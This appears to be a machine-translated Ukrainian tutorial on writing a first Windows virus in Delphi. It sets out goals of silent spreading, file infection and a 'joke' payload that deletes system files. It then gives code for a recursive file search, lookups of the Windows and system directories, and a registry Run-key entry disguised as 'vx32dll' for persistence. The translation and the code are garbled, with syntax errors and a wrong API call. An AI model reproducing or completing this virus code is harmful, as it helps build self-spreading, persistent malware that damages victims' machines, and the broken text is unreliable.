Вірусний hello world

Я думаю, ти вже чув про такий напрямок на сучасній underground-сцені як VX-coding. VX значить Virus eXchange, з чого випливає, що панове vx-кодери займаються написанням вірусів, хробаків, і інших «саморозмножуються механізмів». Ось формулювання саморазможающегося механізму (CМ) по SGWW (Stealth Group World Wide): «Виконавчий код, здатний до саморозмноження. СМ є єдиною областю чистого програмування, а також, на відміну від інших комп'ютерних програм, несуть в собі інтелектуальні функції по боротьбі за виживання в складних умовах конфліктуючих комп'ютерних систем ». Ось сьогодні ми і займемося створенням цього «виконуваного коду» =). Для першого ознайомлення з технологією vx-програмування ми не будемо заглиблюватися в поліморфізм, пермутації коду і
т.д. а напишемо програму яка буде працювати під управлінням OC Windows і поєднувати в собі всі мінімальні вимоги найпростішого вірусу, такий собі Hello World :-). Для початку розберемося, що буде вміти наш перший вірь:

1. Непомітно і швидке розмноження на інфікованої машині.
2. Зараження потрібних нам файлів.
3. Довільний, можливо жартівливе, дія, що визначається создателм вірусу. Наприклад висновок messagebox'a в певний момент часу, що супроводжуються видаленням системних файлів ОС 😉 (це звичайно жарт, видаляти інформацію недобре - пам'ятай це 😉

Отже, приступимо. Як середовище розробки я вибрав Delphi, тому що паскалевская код повинен бути зрозумілий навіть тим, хто мало розуміється в програмуванні.

Project -> View Source. Тут видаляємо все зайве, щоб вийшло наступне:

program helloworld;
uses
windows, sysutils, registry;

Тепер по порядку. Для пошуку потрібних нам файлів напишемо невелику процедуру:

procedure Find (d: string);
var
sr: tsearchrec;
st: string;
begin
if findfirst (d + '\ *. *', fadirectory, sr) <> 0 then // якщо нічого не знайдено
findclose (sr) // припиняємо пошук
else // інакше
repeat // продовжуємо до тих пір, поки findnext (sr) <> 0
st: = d + '\' + sr.name; // доповнюємо ім'я файлу до повного
if sr.attr <> fadirectory then // якщо знайдений не папка, а файл
begin
// ЩО РОБИМО З знайдені файли?
end else // якщо папка
begin
if (sr.name <> '.') And (sr.name <> '..') then // якщо папка всередині в каталогу (dir)
Find (st); // починаємо пошук в ній
end;
until
findnext (sr) <> 0;
findclose (sr);
end;

Ну ось, тепер все повинно бути зрозуміло =).

У процесі створення вірусу нам знадобиться директорія, куди встановлений Windows і системна директорія. Визначимо їх таким чином:

var
wd: array [0..max_path] of char;
sd: array [0..max_path [of char;
begin
getwindowsdirectory (wd, max_path); // в змінну wd записуємо шлях до директорії, де стоїть Windows
getwindowsdirectory (sd, max_path); // в змінну sd записуємо шлях до системної директорії Windows
end;

Також нам необхідно прописати автозапуск (наприклад в реєстрі):

var
r: tregistry;
begin
r: = Tregistry.create;
r.RootKey: = HKEY_LOCAL_MACHINE;
if r.OpenKey (\ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run ', true)
then r.WriteString ( 'vx32dll', path_to_virus);
end;

Покажи цю статтю друзям:

Знайдена зв'язок між пограбуванням тайванського банку і північнокорейської хак-групою Lazarus

Шкідливий Necurs навчився робити знімки екрану і повідомляти своїм операторам про проблеми

У даркнета за $ 5000 продають малваре, яка змушує банкомати «випльовувати» гроші